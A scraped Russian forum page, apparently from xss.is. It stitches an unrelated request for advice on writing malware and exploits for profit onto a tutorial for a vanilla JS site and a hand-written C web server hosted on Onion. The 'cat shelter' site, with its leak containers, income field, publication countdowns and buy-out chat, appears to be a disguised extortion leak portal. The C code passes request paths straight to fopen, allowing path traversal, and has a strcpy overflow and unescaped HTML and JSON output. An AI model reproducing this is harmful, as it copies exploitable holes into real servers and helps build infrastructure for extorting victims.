привет всем! хотел бы задать вопрос у опытных кодеров асм-с-с++ возможно и раст хотелось бы понять что сегодня у является актуалом по типу мальвары/экспы только и только в обучающих целях так-же хотел бы подчеркнуть что устроит как конкретный пример софты или рода деятельности так и любые предложения в каком направлении двигаться мой стаж по этим направлениям примерно никакой во всем что я описал кроме общих пониманий и немного опыта в написании простеньких утилиток для себя или автоматизации какой-то рутинки но вот интересует все что связанно с "инженерным" низкоуровневым программированием и что можно реализовать с неплохим фидбеком в любом эквиваленте как денежном так и обучающем а лучше все сразу
стэк/желание учится :masm,c,c++ раст вариативно не уверен

Пишем приложение на ванильном JS, сервер на Си и деплоим на Onion.
ID: 6765d804b4103b69df37569e
Thread ID: 126617
Created: 2024-11-10T08:59:16+0000
Last Post: 2024-11-20T16:12:43+0000
Author: miserylord
Prefix: Статья
Replies: 10 Views: 1K

_Автор:miserylord
Эксклюзивно для форума: _xss.is

Привет! Как здорово видеть тебя в этом цифровом мире! На связи miserylord.

В этой статье я рассмотрю процесс создания сайта на чистом JavaScript с использованием HTML и CSS, дальнейшего создания сервера на C и развертывания приложения в Onion-сети. Исходный код будет прикреплен к первому сообщению в этой теме.

Переходим к написанию кода.

Приложение

На первом этапе мы реализуем фронтенд приложения с использованием моковых данных, в качестве базы данных будут выступать JSON-файлы.

Идея приложения — сайт приюта для найденных кошек.

В приложении будет несколько экранов: главный экран с информацией о найденных кошках; экран с информацией о тех, кого уже нашли волонтеры, но кто еще не прибыл в приют; а также экран для входа в аккаунт. В зависимости от роли, администратор попадет в админ-панель, а пользователь — в личный кабинет. Также будет реализован чат для обсуждения выкупа животных из приюта.

Для начала мы скачиваем шрифты и помещаем их в папку fonts, чтобы избежать запросов к сайтам со шрифтами. В папке assets будут находиться SVG-логотипы для меню и вкладки сайта. В папке components будут храниться HTML-файлы, которые будут многократно использоваться в проекте. Например, создадим menu.html.

HTML:Copy to clipboard

<div class="menu">
    <a class="logolink" href="index.html">
        <img src="assets/logo.svg" alt="Logotip" class="logo" style="filter: invert(1);" />
    </a>
    <a class="logolink" href="index.html">
        <div class="menu-title">Otcs</div>
    </a>
    <div class="tabs">
        <a href="index.html" class="tab">
            <img src="assets/cats.svg" alt="Cats Icon" class="tab-icon" style="filter: invert(1);" />
            Cats
        </a>
        <a href="timer.html" class="tab">
            <img src="assets/timer.svg" alt="Awaiting Icon" class="tab-icon" style="filter: invert(1);" />
            Awaiting
        </a>
        <a href="login.html" class="tab">
            <img src="assets/login.svg" alt="Login Icon" class="tab-icon" style="filter: invert(1);" />
            Login
        </a>
    </div>
</div>

Этот HTML-код создает горизонтальное меню с логотипом и несколькими вкладками, ведущими на разные страницы сайта.

В папке styles будут находиться CSS-стили, которые я не буду разбирать в статье. В папке mock на этом этапе будут находиться JSON-файлы.

Перейдем к написанию JavaScript-кода. Первый файл — menu.js — отвечает за динамическую подгрузку элементов меню.

JavaScript:Copy to clipboard

function loadMenu() {
    fetch('components/menu.html')
        .then(response => response.text())
        .then(data => {
            document.getElementById('menu-container').innerHTML = data;
        })
        .catch(error => console.error('Error loading menu:', error));
}

document.addEventListener('DOMContentLoaded', () => {
    loadMenu();
});

Ожидаем полной загрузки HTML-документа, чтобы он был готов для манипуляций, затем вызываем loadMenu() для загрузки содержимого меню и вставки его в нужный элемент.

Файл cats.js:

JavaScript:Copy to clipboard

// 1
let catData = [];
let cattoShow = 8;

// 2
function isValidDate(dateString) {
    const currentDate = new Date();
    const itemDate = new Date(dateString);
    return itemDate <= currentDate;
}

// 3
async function fetchDataPrevie() {
    try {
        const response = await fetch('../mosk/cats.json');
        catData = await response.json();

        const filteredData = catData.filter(element => isValidDate(element.date));

        displayData(filteredData.slice(0, cattoShow));

        if (filteredData.length > cattoShow) {
            document.getElementById('show-more').style.display = 'block';
        }
    } catch (error) {
        console.error("Error fetching:", error);
    }
}

// 4
function displayData(data) {
    const container = document.getElementById('leakdataContainer');
    container.innerHTML = '';

    data.forEach(element => {
        const card = document.createElement('div');
        card.classList.add('cat-card');

        card.innerHTML = `
            <div class="leak-photo"><img id="leak-photo" src="${element.photo}" width="8%" height="70%"></div>
            <div class="cat-date"><div class="cat-date-text">Date of publication:</div>${element.date}</div>
            <div class="cat-name">${element.name}</div>
            <div class="cat-description" style="max-height: 90px; overflow: hidden;">${element.description}</div>
            <div class="cat-category">Category: ${element.category}</div>
            <div class="cat-views">Views: ${element.views}</div>
            <button class="get-more">More Details</button>
        `;

        const button = card.querySelector('.get-more');
        button.addEventListener('click', () => {
            openPopup(element.name, element.description, element.date);
        });

        container.appendChild(card);
    });
}

// 5
document.getElementById('show-more').addEventListener('click', () => {
    const filteredData = catData.filter(element => isValidDate(element.date));
    const nextData = filteredData.slice(cattoShow, cattoShow + 4);
    displayData(filteredData.slice(0, cattoShow + 4));
    cattoShow += 4;

    if (cattoShow >= filteredData.length) {
        document.getElementById('show-more').style.display = 'none';
    }
});

// 6
function openPopup(title, text, date) {
    const popup = document.getElementById('popup');
    const overlay = document.getElementById('overlay');
    const popupTitle = document.getElementById('popup-title');
    const popupText = document.getElementById('popup-text');
    const popupDate = document.getElementById('popup-date');
    const closeBtn = document.querySelector('.close-btn');

    popupTitle.textContent = title;
    popupText.textContent = text;
    popupDate.textContent = date;

    overlay.style.display = 'block';
    popup.style.display = 'block';

    closeBtn.onclick = () => {
        closePopup(overlay, popup);
    };

    window.onclick = (event) => {
        if (event.target === overlay) {
            closePopup(overlay, popup);
        }
    };
}

// 7
function closePopup(overlay, popup) {
    overlay.style.display = 'none';
    popup.style.display = 'none';
}

fetchDataPrevie();
  1. Определяем несколько переменных. Храним данные о котах, полученные из cats.json, и количество карточек для первоначального отображения.
  2. Функция проверяет, чтобы дата публикации не была позже текущей даты. Если дата прошла, элемент считается действительным.
  3. Выполняем запрос к файлу cats.json и сохраняем результат в catData. Фильтруем данные, оставляя только те элементы, у которых дата публикации прошла. Вызываем displayData для отображения первых catToShow элементов. Если доступных элементов больше, чем catToShow, отображается кнопка «Показать еще».
  4. Очищаем контейнер для отображения данных. Создаем и добавляем карточки для каждого элемента: картинка, дата публикации, имя, описание, категория и количество просмотров. Кнопка «Подробнее» с обработчиком открывает всплывающее окно с деталями.
  5. Кнопка «Показать еще»: добавляем следующие 4 элемента к отображаемым данным. Если показаны все доступные элементы, кнопка «Показать еще» скрывается.
  6. Отображаем всплывающее окно с подробной информацией (название, текст, дата). Обработчик закрытия по нажатию на кнопку или клику вне окна вызывает closePopup.
  7. Закрываем всплывающее окно, скрывая его и затемняющий фон.

Реализуем также код для страницы с таймером в файле timer.js.

JavaScript:Copy to clipboard

let catData = [];
let cattoShow = 8;


function isValidDate(dateString) {
    const currentDate = new Date();
    const itemDate = new Date(dateString);
    return itemDate >= currentDate;
}

// 1
function formatTimeDifference(dateString) {
    const currentDate = new Date();
    const itemDate = new Date(dateString);
    const difference = itemDate - currentDate;

    if (difference <= 0) return "Published";

    const seconds = Math.floor((difference / 1000) % 60);
    const minutes = Math.floor((difference / (1000 * 60)) % 60);
    const hours = Math.floor((difference / (1000 * 60 * 60)) % 24);
    const days = Math.floor(difference / (1000 * 60 * 60 * 24));

    return `${days}d ${hours}h ${minutes}m ${seconds}s`;
}

// 2
function updateTimerElements() {
    const timerElements = document.querySelectorAll('.cat-timer');
    timerElements.forEach(element => {
        const dateString = element.getAttribute('data-date');
        element.textContent = formatTimeDifference(dateString);
    });
}

async function fetchDataPrevie() {
    try {
        const response = await fetch('../mosk/cats.json');
        catData = await response.json();

        const filteredData = catData.filter(element => isValidDate(element.date));

        displayData(filteredData.slice(0, cattoShow));

        if (filteredData.length > cattoShow) {
            document.getElementById('show-more').style.display = 'block';
        }
    } catch (error) {
        console.error("Error fetching:", error);
    }
}

function displayData(data) {
    const container = document.getElementById('leakdataContainer');
    container.innerHTML = '';

    data.forEach(element => {
        const card = document.createElement('div');
        card.classList.add('cat-card');

        card.innerHTML = `
            <div class="leak-phote"><img id="leak-phote" src="${element.photo}" width="8%" height="70%"></div>
            <div class="cat-date"><div class="cat-date-text">Date of publication:</div>${element.date}</div>
            <div class="cat-name">${element.name}</div>
            <div class="cat-timer" data-date="${element.date}">${formatTimeDifference(element.date)}</div>
        `;

        container.appendChild(card);
    });

    updateTimerElements();
}

document.getElementById('show-more').addEventListener('click', () => {
    const filteredData = catData.filter(element => isValidDate(element.date));
    const nextData = filteredData.slice(cattoShow, cattoShow + 4);
    displayData(filteredData.slice(0, cattoShow + 4));
    cattoShow += 4;

    if (cattoShow >= filteredData.length) {
        document.getElementById('show-more').style.display = 'none';
    }
});


fetchDataPrevie();
// 3
setInterval(updateTimerElements, 1000);
  1. Вычисляем разницу между текущей датой и указанной датой публикации. Если дата уже прошла, возвращаем «Published». Если публикация еще не произошла, выводим время до ее наступления в формате «дни, часы, минуты, секунды».
  2. Ищем все элементы с классом cat-timer на странице и обновляем их текст оставшимся временем до публикации с помощью formatTimeDifference. Используем для обновления счетчика обратного отсчета каждую секунду.
  3. Обновляем каждый таймер на странице каждую секунду.

Наконец, перейдем к HTML-файлам. Вот пример index.html:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles/styles.css">
    <link rel="stylesheet" href="styles/index.css">

    <title>Ode to Cats Shelter</title>
    <link rel="shortcut icon" href="assets/logo.svg" type="image/svg+xml" />
</head>
<body>



    <div id="menu-container"></div>
    <div class="container" id="leakdataContainer"></div>
    <button id="show-more" style="display: none;">Show More</button>
    <script src="scripts/menu.js"></script>
    <script src="scripts/cats.js"></script>
    <div id="overlay" style="display:none;"></div>
    <div id="popup" style="display:none;">
    <h2 id="popup-title"></h2>
    <p id="popup-text"></p>
    <p id="popup-date"></p>
    <button class="close-btn">Close</button>
    </div>

</body>
</html>

Этот HTML-код создает веб-страницу для приюта «Ode to Cats Shelter». Он включает базовую разметку, контейнеры для динамически загружаемого меню и данных, кнопку «Show More», а также модальные элементы для всплывающего окна с информацией.

1.png
2.png
Перейдем к экрану для аутентификации пользователей. Реализуем простую имитацию процесса входа в систему с использованием JavaScript. Он проверяет введенные пользователем данные по заранее определенному массиву пользователей и в зависимости от их роли перенаправляет на соответствующую страницу.

JavaScript:Copy to clipboard

const mockData = [
    { username: 'admin', password: 'admin123', role: 'admin' },
    { username: 'user', password: 'user123', role: 'user' }
];

document.getElementById('loginForm').addEventListener('submit', function(event) {
    event.preventDefault();

    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;

    const user = mockData.find(user => user.username === username && user.password === password);

    if (user) {
        localStorage.setItem('currentUser', JSON.stringify(user));

        if (user.role === 'admin') {
            window.location.href = 'admin.html';
        } else {
            window.location.href = 'user.html';
        }
    } else {
        document.getElementById('error-message').innerText = 'Invalid login or password';
    }
});

Реализуем проверку по роли пользователя. Этот код выполняет проверку доступа, чтобы убедиться, что только администратор может попасть на защищенную страницу. Он проверяет, авторизован ли текущий пользователь и имеет ли он роль администратора. Если нет, пользователя перенаправляют на главную страницу. Подобную проверку реализуем и для роли пользователя (user).

JavaScript:Copy to clipboard

const currentUser = JSON.parse(localStorage.getItem('currentUser'));

if (!currentUser || currentUser.role !== 'admin') {
    window.location.href = 'index.html';
}

Сообщения на данный момент будут храниться в мок-данных. Новые сообщения будут сохраняться в localStorage. Файл chatUser.js:

JavaScript:Copy to clipboard

document.addEventListener('DOMContentLoaded', () => {
    const messagesContainer = document.getElementById('messages');
    const messageInput = document.getElementById('messageInput');
    const sendMessageButton = document.getElementById('sendMessage');

    const LOCAL_STORAGE_KEY = 'userChatMessages'; // 1

    // 2
    async function loadMessages() {
        try {
            const response = await fetch('../mosk/user123.json');
            const jsonMessages = await response.json();
            const storedMessages = JSON.parse(localStorage.getItem(LOCAL_STORAGE_KEY)) || [];

            const allMessages = [...jsonMessages, ...storedMessages];

            messagesContainer.innerHTML = '';
            allMessages.forEach((msg) => {
                const messageDiv = document.createElement('div');
                messageDiv.className = 'message';
                messageDiv.innerHTML = `${msg.sender}: ${msg.message}`;
                messagesContainer.appendChild(messageDiv);
            });
        } catch (error) {
            console.error('Ошибка загрузки сообщений:', error);
        }
    }

    // 3
    function saveMessages(messages) {
        localStorage.setItem(LOCAL_STORAGE_KEY, JSON.stringify(messages));
    }

    // 4
    sendMessageButton.addEventListener('click', () => {
        const message = messageInput.value.trim();
        if (!message) return;

        const messages = JSON.parse(localStorage.getItem(LOCAL_STORAGE_KEY)) || [];
        const newMessage = {
            sender: 'user',
            message,
            is_read: false,
        };

        messages.push(newMessage);
        saveMessages(messages);
        loadMessages();
        messageInput.value = '';
    });

    // 5
    loadMessages();
});
  1. Ключ, под которым сохраняются сообщения в localStorage.
  2. Загружает сообщения из файла user123.json и из localStorage. Сообщения из JSON-файла объединяются с сообщениями из localStorage. Каждое сообщение добавляется в контейнер messagesContainer как элемент div, отображающий отправителя и сообщение.
  3. Функция saveMessages() для сохранения сообщений в локальное хранилище.
  4. Отправка сообщения. Обработчик события click на sendMessageButton работает следующим образом: сперва извлекает текст сообщения из messageInput. Если сообщение не пустое, создает объект нового сообщения с полями sender, message и is_read. Добавляет новое сообщение в массив сохраненных сообщений и вызывает saveMessages(). Затем вызывает loadMessages() для обновления списка сообщений и очищает поле ввода после отправки сообщения.
  5. Вызывается при загрузке страницы, чтобы отобразить все доступные сообщения.

3.png

Сервер

Переходим к реализации серверной части приложения. Сервер предоставляет ресурсы другим клиентам через сеть. В контексте веба сервер часто реализует HTTP-протокол, принимает запросы от клиентов (веб-браузеров), обрабатывает их и отправляет ответы (например, HTML-страницы).

Примерами таких серверов можно привести Apache HTTP Server и Nginx. Это отличные решения, но я предлагаю пойти другим путем и реализовать самописный сервер на C. Мы получим полное управление над ресурсами и меньше накладных расходов на функционал, который не нужен для конкретного проекта. Безусловно, это повышает вероятность ошибок, но, как бы там ни было, это будет интересный опыт. Переходим к коду!

Код ниже разработан в среде Linux и не будет работать на Windows.

Сначала добавим код с мок-данными, а в дальнейшем подключим базу данных.

Это мое первое знакомство с языком программирования C, поэтому на некоторых моментах буду останавливаться подробнее. Возможно, это покажется очевидными вещами.

Итак, код представляет собой простой многопоточный сервер на C, который принимает подключения от клиентов по TCP и обрабатывает их в отдельных потоках, напоминая работу Apache.

C:Copy to clipboard

// 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <signal.h>
#include "request_handler.h"

// 2
#define PORT 8082


// 3
void *client_handler(void *arg) {
    int client_socket = *(int*)arg;
    free(arg);
    handle_client(client_socket);
    pthread_exit(NULL);
}

int main() {
    signal(SIGPIPE, SIG_IGN); // 4
    // 5
    int server_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);

    if ((server_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("Socket failed");
        return 1;
    }

    // 6
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
        perror("Bind failed");
        close(server_socket);
        return 1;
    }

    // 7
    if (listen(server_socket, 10) == -1) {
        perror("Listen failed");
        close(server_socket);
        return 1;
    }

    printf("Server is listening on port %d...\n", PORT);

    // 8
    while (1) {
        int *client_socket = malloc(sizeof(int));
        *client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
        if (*client_socket == -1) {
            perror("Accept failed");
            free(client_socket);
            continue;
        }

    // 9
        pthread_t thread_id;
        if (pthread_create(&thread_id, NULL, client_handler, client_socket) != 0) {
            perror("Could not create thread");
            close(*client_socket);
            free(client_socket);
        } else {
            pthread_detach(thread_id);
        }
    }
    // 10
    close(server_socket);
    return 0;
}
  1. Подключаем заголовочные файлы и определения.
  2. Подключаем макросы. Порт, на котором сервер будет прослушивать соединения.
  3. Функция-обработчик, которая запускается в отдельном потоке для каждого клиента. Получает клиентский сокет через указатель, вызывает handle_client, определенную в request_handler.h, для обработки запроса, освобождает выделенную память для аргумента и завершает поток, вызвав pthread_exit.
  4. Игнорируем сигнал SIGPIPE, который может возникнуть при записи в закрытый сокет (если клиент неожиданно разорвал соединение). Эта строка решила проблему, из-за которой сервер постоянно падал.
  5. server_socket — сокет сервера, server_addr — структура с адресом сервера, client_addr — структура для хранения адреса клиента, client_len — размер структуры client_addr. Создаем сокет IPv4 для TCP-соединения. В случае неудачи выводится сообщение об ошибке, и программа завершает работу.
  6. Настройка адреса сервера и привязка сокета. Указываем, что будет использоваться IPv4, принимаем соединения на любом IP-адресе, который привязан к серверу, и задаем порт для прослушивания, преобразуя его в сетевой порядок байтов. Если привязка не удалась, сервер закрывает сокет и завершает выполнение.
  7. Настройка прослушивания. Переводим сокет в режим прослушивания. 10 — размер очереди подключений. Если настройка завершилась неудачно, сервер закрывает сокет и завершает выполнение. Выводится сообщение, что сервер начал прослушивание на заданном порту.
  8. Бесконечный цикл ожидает новых подключений от клиентов. Выделяется память под новый клиентский сокет. accept принимает подключение от клиента, создавая новый сокет для связи с ним. В случае ошибки память освобождается, и продолжается ожидание новых подключений.
  9. Создаем новый поток, который выполняет функцию client_handler. Аргументом передается указатель на клиентский сокет client_socket. Обрабатываем возможные ошибки. Делаем поток отделяемым, чтобы не нужно было явно ждать его завершения (поток сам освобождает ресурсы по завершении).
  10. После выхода из цикла while (в случае завершения программы) вызываем close(server_socket);, чтобы закрыть серверный сокет.

В языке C файлы с расширением .h (header files) — это заголовочные файлы, которые содержат объявления функций, структур, переменных и макросов. Они упрощают организацию кода и его повторное использование.

Создадим файлы request_handler.h и utils.h (а также с таким же названием файлы с расширением .c).

Код request_handler.h:

C-like:Copy to clipboard

#ifndef REQUEST_HANDLER_H
#define REQUEST_HANDLER_H

void handle_client(int client_socket);

#endif

Заголовочный файл с защитой от двойного включения работает следующим образом: при первом подключении файла request_handler.h макрос REQUEST_HANDLER_H ещё не определен. Компилятор видит #ifndef REQUEST_HANDLER_H, определяет макрос REQUEST_HANDLER_H и включает содержимое файла. Если файл подключается второй раз (например, косвенно через другие заголовочные файлы), REQUEST_HANDLER_H уже определен, и компилятор игнорирует содержимое заголовочного файла, предотвращая повторное объявление функции handle_client.

Код файла .c:

C-like:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include "request_handler.h"
#include "utils.h"

// 1
#define BUFFER_SIZE 1024

// 2
void handle_client(int client_socket) {
    // 3
    char buffer[BUFFER_SIZE];
    read(client_socket, buffer, sizeof(buffer) - 1);

    // 4
    char *file_path = "index.html";
    if (strncmp(buffer, "GET /", 5) == 0) {
        char *path_start = buffer + 5;
        char *path_end = strchr(path_start, ' ');
        if (path_end != NULL) {
            *path_end = '\0';
            if (strlen(path_start) > 0) {
                file_path = path_start;
            }
        }
    }

    // 5
    FILE *file = fopen(file_path, "r");
    if (file == NULL) {
        const char *not_found_response =
            "HTTP/1.1 404 Not Found\r\n"
            "Content-Type: text/html\r\n"
            "\r\n"
            "<!DOCTYPE html>"
            "<html><body><h1>404 Not Found</h1></body></html>";
        write(client_socket, not_found_response, strlen(not_found_response));
        close(client_socket);
        return;
    }


    // 6
    const char *content_type = get_content_type(file_path);

    // 7
    char header[BUFFER_SIZE];
    snprintf(header, sizeof(header),
             "HTTP/1.1 200 OK\r\n"
             "Content-Type: %s\r\n"
             "\r\n", content_type);
    write(client_socket, header, strlen(header));


    // 8
    char file_content[BUFFER_SIZE];
    size_t bytes_read;
    while ((bytes_read = fread(file_content, 1, sizeof(file_content), file)) > 0) {
        write(client_socket, file_content, bytes_read);
    }


    // 9
    fclose(file);
    close(client_socket);
}
  1. Определяем размер буфера для чтения данных.
  2. Эта функция принимает один параметр client_socket, который представляет клиентское соединение. Внутри этой функции происходит обработка запроса клиента.
  3. Чтение данных из сокета. Создается буфер buffer для хранения данных, полученных от клиента. Читаем данные из сокета и записываем их в буфер. Размер данных ограничен BUFFER_SIZE - 1, чтобы оставить место для завершающего нуля.
  4. Определение пути к запрашиваемому файлу. file_path по умолчанию указывает на index.html, чтобы сервер вернул главный файл сайта, если клиент не указал файл. Проверяется, начинается ли запрос с GET. Если это так, начинается разбор пути: path_start указывает на начало запрашиваемого пути, а path_end — на конец. В случае успеха file_path указывает на запрашиваемый путь или остается index.html.
  5. Открытие файла — fopen открывает файл в режиме чтения "r". Если файл не найден, fopen возвращает NULL. В этом случае сервер отправляет клиенту ответ 404 Not Found с короткой HTML-страницей. После отправки ошибки сокет закрывается, и функция завершает работу.
  6. Определение типа содержимого. Это функция из utils.h, которая определяет MIME-тип содержимого файла.
  7. Отправка заголовка HTTP-ответа. Создается HTTP-заголовок с кодом 200 OK и Content-Type, определенным ранее. snprintf записывает форматированный заголовок в буфер header. write отправляет заголовок клиенту.
  8. В цикле читаются порции данных из файла с помощью fread в буфер file_content. Затем write отправляет эти данные клиенту. Цикл продолжается, пока fread возвращает положительное количество байт.
  9. Завершение работы с файлом и закрытие сокета.

Файл utils.c:

C-like:Copy to clipboard

#include <string.h>
#include "utils.h"

const char* get_content_type(const char* path) {
    if (strstr(path, ".html")) return "text/html";
    if (strstr(path, ".css")) return "text/css";
    if (strstr(path, ".js")) return "application/javascript";
    if (strstr(path, ".svg")) return "image/svg+xml";
    if (strstr(path, ".woff2")) return "font/woff2";
    if (strstr(path, ".json")) return "application/json";

    return "text/plain";
}

Этот код определяет функцию get_content_type, которая возвращает MIME-тип файла, основываясь на его расширении. MIME-типы — это ключевая часть HTTP- протокола, которая позволяет клиентам правильно обрабатывать разные типы файлов. Функция помогает серверу автоматически определять MIME-тип по расширению файла и возвращать соответствующий заголовок клиенту.

Напишем Makefile. Makefile — это специальный файл, который помогает автоматизировать компиляцию и сборку проекта, особенно если проект состоит из нескольких файлов. Он описывает зависимости и команды для сборки, чтобы не прописывать каждый раз все команды компиляции. Команда make читает Makefile и выполняет описанные в нем задачи.

Code:Copy to clipboard

CC = gcc
CFLAGS = -Wall
SRC = src/server.c src/request_handler.c src/utils.c
OBJ = $(SRC:.c=.o)
EXEC = server

all: $(EXEC)

$(EXEC): $(OBJ)
    $(CC) $(CFLAGS) -o $(EXEC) $(OBJ)

clean:
    rm -f $(OBJ) $(EXEC)

Компилируем проект с заданными настройками, автоматически отслеживая зависимости и компилируя только измененные файлы. make clean очищает проект, удаляя объектные и исполняемые файлы.

Поскольку я недавно начал изучать язык C, оставлю несколько рекомендаций по роудмапу изучения:

Во-первых, лучшая книга по C — "The C Programming Language" (2-е издание) Ритчи и Кернигана. Для изучения сокетов — "Beej's Guide to Network Programming" (есть на русском) и также полезное видео.

Подключаем базу данных, я буду работать с SQLite. За кулисами добавлю в БД те данные, которые сейчас находятся в .json файле в директории с моками.

В JavaScript в запросе fetch теперь обращаемся по адресу localhost:port/cats.json. Создадим файл data_handler.c (а также одноимённый .h файл), в котором будем обращаться к базе данных.

C:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>   
#include <string.h>     
#include <sqlite3.h>   

#include "data_handler.h"

// 1
#define DB_PATH "./cats.db"

char* get_cats_data_as_json() {

    // 2
    sqlite3 *db;
    sqlite3_stmt *stmt;
    char *json_data = malloc(1024 * sizeof(char));
    int buffer_size = 1024, offset = 0;

    // 3
    if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
        fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
        return NULL;
    }

    // 4
    const char *sql = "SELECT id, name, date, photo, description, category, views, income FROM cats;";
    if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
        fprintf(stderr, "Failed to fetch data: %s\n", sqlite3_errmsg(db));
        sqlite3_close(db);
        return NULL;
    }

    // 5
    offset += snprintf(json_data + offset, buffer_size - offset, "[");

    // 6
    while (sqlite3_step(stmt) == SQLITE_ROW) {
        int id = sqlite3_column_int(stmt, 0);
        const char *name = (const char*)sqlite3_column_text(stmt, 1);
        const char *date = (const char*)sqlite3_column_text(stmt, 2);
        const char *photo = (const char*)sqlite3_column_text(stmt, 3);
        const char *description = (const char*)sqlite3_column_text(stmt, 4);
        const char *category = (const char*)sqlite3_column_text(stmt, 5);
        int views = sqlite3_column_int(stmt, 6);
        int income = sqlite3_column_int(stmt, 7);

    // 7
        if (offset + 256 > buffer_size) {
            buffer_size *= 2;
            json_data = realloc(json_data, buffer_size);
        }

        // 8
        offset += snprintf(json_data + offset, buffer_size - offset,
                           "{\"id\":%d,\"name\":\"%s\",\"date\":\"%s\",\"photo\":\"%s\","
                           "\"description\":\"%s\",\"category\":\"%s\",\"views\":%d,\"income\":%d},",
                           id, name, date, photo, description, category, views, income);
    }

    // 9
    if (offset > 1 && json_data[offset - 1] == ',') {
        offset--;
    }
    snprintf(json_data + offset, buffer_size - offset, "]");

    // 10
    sqlite3_finalize(stmt);
    sqlite3_close(db);

    return json_data;
}

  1. Константа DB_PATH указывает расположение файла базы данных.
  2. Переменные для базы данных, запроса и буфера.
  3. sqlite3_open открывает соединение с базой данных. В случае ошибки выводит сообщение и возвращает NULL.
  4. Подготовка SQL-запроса.
  5. Начало JSON-строки. Формирует JSON-строку, добавляя открывающую скобку массива ([).
  6. Извлечение данных и заполнение JSON. Этот блок кода выполняется для каждой строки таблицы cats, извлекая значения каждого столбца.
  7. Проверка, достаточно ли памяти для добавления новой записи. Если нет, удваивает размер buffer_size и перераспределяет память.
  8. Запись данных текущей строки в json_data в формате JSON.
  9. Убираем последнюю запятую и закрываем массив символом ].
  10. Завершаем работу с запросом и закрываем базу данных. Возвращаем указатель на JSON-строку, содержащую все данные.

  
Добавим обработку маршрута в request_handler.c.  

C:Copy to clipboard

    
    
    if (strcmp(file_path, "cats.json") == 0) {
        char *json_data = get_cats_data_as_json();
        if (json_data == NULL) {
            const char *error_response = "HTTP/1.1 500 Internal Server Error\r\nContent-Type: text/plain\r\n\r\nError fetching cat data.";
            write(client_socket, error_response, strlen(error_response));
        } else {
            const char *header = "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n";
            write(client_socket, header, strlen(header));
            write(client_socket, json_data, strlen(json_data));
            free(json_data);
        }
        close(client_socket);
        return;
    }

  
  
Проверяем имя файла, получаем данные о котах в формате JSON, затем происходит
проверка успешности получения данных и отправка успешного HTTP-ответа с
данными о котах. Закрываем соединение и завершаем работу функции.  
  
Переходим к процессу аутентификации. Саму проверку я менять не стану, хотя и
прекрасно вижу.  
  
Код login_handler.c:  

C-like:Copy to clipboard

    
    
    #include <stdio.h>     
    #include <stdlib.h>   
    #include <string.h>     
    #include <unistd.h>   
    #include <sqlite3.h>   
    
    #include "login_handler.h"
    
    #define BUFFER_SIZE 1024
    #define DB_PATH "./cats.db"
    
    // 1
    void handle_login_request(int client_socket, const char *username, const char *password) {
        sqlite3 *db;
        sqlite3_stmt *stmt;
        char *response = NULL;
        int success = 0;
        char role[10];
    
        if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
            fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
            return;
        }
    
        // 2
        const char *sql = "SELECT role FROM users WHERE username = ? AND password = ?";
        if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == SQLITE_OK) {
            sqlite3_bind_text(stmt, 1, username, -1, SQLITE_STATIC);
            sqlite3_bind_text(stmt, 2, password, -1, SQLITE_STATIC);
    
            if (sqlite3_step(stmt) == SQLITE_ROW) {
                success = 1;
                strcpy(role, (const char*)sqlite3_column_text(stmt, 0));
            }
        }
    
        sqlite3_finalize(stmt);
        sqlite3_close(db);
    
        // 3
        if (success) {
            response = malloc(BUFFER_SIZE);
            snprintf(response, BUFFER_SIZE,
                     "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n"
                     "{\"success\": true, \"user\": {\"username\": \"%s\", \"role\": \"%s\"}}",
                     username, role);
            write(client_socket, response, strlen(response));
            free(response);
        } else {
            const char *unauthorized_response =
                "HTTP/1.1 401 Unauthorized\r\nContent-Type: application/json\r\n\r\n{\"success\": false}";
            write(client_socket, unauthorized_response, strlen(unauthorized_response));
        }
    }

  

  1. Функция проверяет учётные данные пользователя и отправляет соответствующий ответ через сокет.
  2. SQL-запрос sql извлекает роль пользователя с заданными username и password. sqlite3_prepare_v2 подготавливает запрос, а sqlite3_bind_text подставляет параметры username и password. sqlite3_step выполняет запрос и проверяет, есть ли результат. Если запрос возвращает строку, роль копируется в role, а success устанавливается в 1.
  3. Выделяется память под response и формируется успешный ответ с HTTP-кодом 200 OK и JSON-данными, включающими имя пользователя и его роль. Ответ отправляется клиенту через write, после чего память под response освобождается.

  
Будьте внимательны при работе с SQL. Насколько я вижу, в этом коде SQL-
инъекции исключены благодаря использованию подготовленных выражений и
связыванию значений через sqlite3_bind_text. Однако всегда нужно перепроверять
всё, что приходит от пользователя на сервер, и включать двойную валидацию —
как на фронтенде, так и на бэкенде.  
  
Добавляем код для маршрута.  

C:Copy to clipboard

    
    
    if (strncmp(buffer, "POST /login", 11) == 0) {
            char *json_data = strstr(buffer, "\r\n\r\n") + 4;
            char username[50], password[50];
    
            sscanf(json_data, "{\"username\":\"%49[^\"]\",\"password\":\"%49[^\"]\"}", username, password);
    
            handle_login_request(client_socket, username, password);
            close(client_socket);
            return;
    
        }

  
strncmp сравнивает первые 11 символов строки buffer с "POST /login". Это
проверяет, что запрос является POST-запросом, направленным на /login. Далее
происходит поиск данных тела запроса, извлечение username и password из JSON,
обработка и закрытие соединения.  
  
Осталось внедрить чат. Изменим JavaScript-скрипт, код поддерживает два
основных действия: регулярное обновление списка сообщений с сервера и отправку
новых сообщений на сервер. Чат реализован с помощью лонг-пулинга.  

